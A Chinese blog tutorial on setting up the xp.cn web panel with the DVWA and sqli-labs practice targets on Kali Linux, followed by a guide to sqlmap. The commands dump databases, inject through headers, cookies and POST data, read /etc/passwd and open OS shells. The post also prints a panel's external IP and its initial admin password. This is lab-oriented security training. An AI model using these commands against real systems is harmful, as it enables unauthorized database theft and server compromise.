Linux小皮安装与SQLmap使用
Posted IAmCper
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Linux小皮安装与SQLmap使用相关的知识,希望对你有一定的参考价值。
一、安装
环境:Kali Linux
1、切换超级用户并填入密码
┌──(spencer㉿Cper)-[~]
└─$ su root
密码:
2、安装命令
┌──(root㉿Cper)-[/home/spencer/HW/TOOLS]
└─# wget -O install.sh https://notdocker.xp.cn/install.sh && sudo bash install.s
3、安装完成后保存提示信息
=================安装完成==================
请用浏览器访问面板:
外网:http://222.184.140.132:9080/9402D1
内网:http://192.168.3.6:9080/9402D1
系统初始账号:admin
系统初始密码:8hRGATvzSV
官网:https://www.xp.cn
如果使用的是云服务器,请至安全组开放9080端口
如果使用ftp,请开放21以及30000-30050端口
===========================================
4、打开内网网址,按初始账号密码登录后一键安装
5、启动mysql和Apache,字体变绿即成功
6、添加数据库
二、配置环境
1、下载靶场
2、上传文件
3、点击解压
4、(不需要更改配置文件的靶场可直接跳过以下两步)打开文件系统,以root身份打开www文件
5、进入”/www/admin/DVWA-master/config/ “目录,打开config.inc.php.dist文件,域名、数据库名、用户名、密码要与Mysql设置的一致
sqli-labs-master目录为“/www/admin/sqli-labs-master/sql-connections/”下的db-creds.inc
6、添加站点,站点域名为虚拟机IP地址
7、配置该网站,网站目录取消两个勾选,地址选择根目录靶场地址(保存后右键刷新)
8、点击域名即可打开站点
三、开玩
1、SQLMAP有简单向导,--wizard命令通过逐步询问完成工作流
2、--current-db可查看当前的数据库名,--dbs则是查看所有数据库名
3、-D 数据库名 --tables可查看当前数据库下的表
4、-D 数据库名 -T 表名 -columns可查看当前数据库下表中的列字段
5、-D 数据库名 -T表名 -C 列名,列名 -dump可查看该列所有记录
6、 使用Burpsuite获取页面请求头,保存为文本,使用sqlmap -r “请求头文本绝对路径”命令来进行操作
sqlmap -r "请求头文本" //测试是否存在注入,建议请求头文本保存到sqlmap的目录下
sqlmap -r "请求头文本" --current-db //查询当前数据库
sqlmap -r "请求头文本" -D "数据库名" --tables //查询当前数据库的所有表
sqlmap -r "请求头文本" -D "数据库名" -T "表名" --columns //查询指定库指定表的所有列
sqlmap -r "请求头文本" -D "数据库名" -T "表名" -C "列名" --dump //打印出指定库指定表指定列的所有字段内容
7、保存请求头内容,18关在User-Agent后加星号标明注入点,否则sqlmap无法检测。(或者不加星号,直接提高sqlmap的level等级到3即可对user-agent注入:sqlmap -r /home/spencer/HW/testFile/sqlmapTest --current-db -level 3)
8、查看当前数据库sqlmap -r /home/spencer/HW/testFile/sqlmapTest --current-db
9、SQLMAP高级指令
1、-level=5:探测等级
level是指探测等级,随着level的提高,payload会增加,运行时间增加,同时会自动破解出cookie、XFF头部等注入
2、-risk=5:风险等级
risk增加后,sql语句不仅会包含select语句,也会包含insert、delete、update等sql语句,很可能会对数据库造成严重的破坏,所以不建议提高risk等级
3、--is-dba:当前用户是否为管理权限
该命令会查看当前用户是否为数据库管理员
python sqlmap.py -u http://localhost/sqli-labs/Less-1/?id=1 --is-dba
4、--proxy代理
python sqlmap.py -u http://localhost/sqli-labs/Less-1/?id=1 --proxy "http://127.0.0.1:8080"
python sqlmap.py -u http://localhost/sqli-labs/Less-1/?id=1 --proxy "http://127.0.0.1:8080" --dbs
5、--roles:列出数据库当前管理员角色
6、--sql-shell:运行自定义sql语句(可执行sql语句)
7、--referer:检测http Referer头(当referer定义为3或3以上时,也会尝试对regerer注入)
这里可以伪造来源
8、--os-cmd,-os-shell:运行任意操作系统命令
9、--file-read:从数据库服务器中读取文件
10、--file-write,file-dest:上传文件到服务器中
11、--identify-waf(已过时):用于检测是否存在WAF、IDS、IPS
12、--random-agent:随机ua头
SQLMap的详细使用教程
SQL注入是一种广泛存在于Web应用程序的漏洞,可以导致敏感数据泄露、系统破坏等严重后果。SQLMap是一款自动化SQL注入工具,它可以帮助渗透测试人员快速发现和利用SQL注入漏洞。本文将介绍SQLMap的详细使用教程和常用命令。
- 安装和配置
在Linux系统中,可以使用以下命令安装SQLMap:
sudo apt-get install sqlmap
安装完成后,可以运行以下命令启动SQLMap:
sqlmap -h
- 基本使用方法
使用SQLMap进行SQL注入攻击的基本步骤如下:
(1)测试目标网站是否存在SQL注入漏洞
使用以下命令测试目标网站是否存在SQL注入漏洞:
sqlmap -u http://www.example.com/index.php?id=1 --batch
其中,“http://www.example.com/index.php?id=1”是目标URL,“–batch”表示以批处理模式运行SQLMap。
(2)确认注入点
如果目标网站存在SQL注入漏洞,则需要确认注入点。可以使用以下命令列出所有可用的注入点:
sqlmap -u http://www.example.com/index.php?id=1 --batch --dbs
这个命令将输出目标网站上所有可用的数据库名称。
(3)获取数据库信息
使用以下命令获取目标网站的数据库信息:
sqlmap -u http://www.example.com/index.php?id=1 --batch -D dbname --tables
其中,“-D dbname”表示指定数据库名称,“–tables”表示列出所有可用的表名。
(4)获取表信息
使用以下命令获取目标网站上指定表的信息:
sqlmap -u http://www.example.com/index.php?id=1 --batch -D dbname -T tablename --columns
其中,“-T tablename”表示指定表名,“–columns”表示列出所有可用的列名。
(5)获取列信息
使用以下命令获取目标网站上指定表中指定列的数据:
sqlmap -u http://www.example.com/index.php?id=1 --batch -D dbname -T tablename -C columnname --dump
其中,“-C columnname”表示指定列名,“–dump”表示将结果输出到文件中。
- 高级使用方法
除了基本的SQL注入攻击,SQLMap还提供了许多高级功能,如POST请求注入、Cookie注入、文件读取等。
(1)POST请求注入
如果目标网站使用POST请求提交数据,则可以使用以下命令进行注入攻击:
sqlmap -u "http://www.example.com/login.php" --data="username=admin&password=123456" --batch
其中,“–data”表示要发送的POST数据。
(2)Cookie注入
如果目标网站使用Cookie来维护会话状态,则可以使用以下命令进行注入攻击:
sqlmap -u "http://www.example.com/index.php" --cookie="PHPSESSID=123456" --batch
其中,“–cookie”表示要使用的Cookie。
(3)文件读取
如果目标网站允许访问文件系统,则可以使用以下命令读取指定文件:
sqlmap -u "http://www.example.com/index.php?id=1" --file-read="/etc/passwd" --batch
其中,“–file-read”表示要读取的文件名。
- 总结
SQLMap是一款功能强大的自动化SQL注入工具,可用于发现和利用Web应用程序中的SQL注入漏洞。虽然它的使用方法相对简单,但是它也提供了许多高级功能,可以帮助渗透测试人员更快地渗透Web应用程序。但是,请务必遵循道德和法律标准,在合法授权的情况下使用这个工具。同时,渗透测试人员也应该了解SQL注入漏洞的本质和防范方法,以便更好地保护Web应用程序的安全。
以上是关于Linux小皮安装与SQLmap使用的主要内容,如果未能解决你的问题,请参考以下文章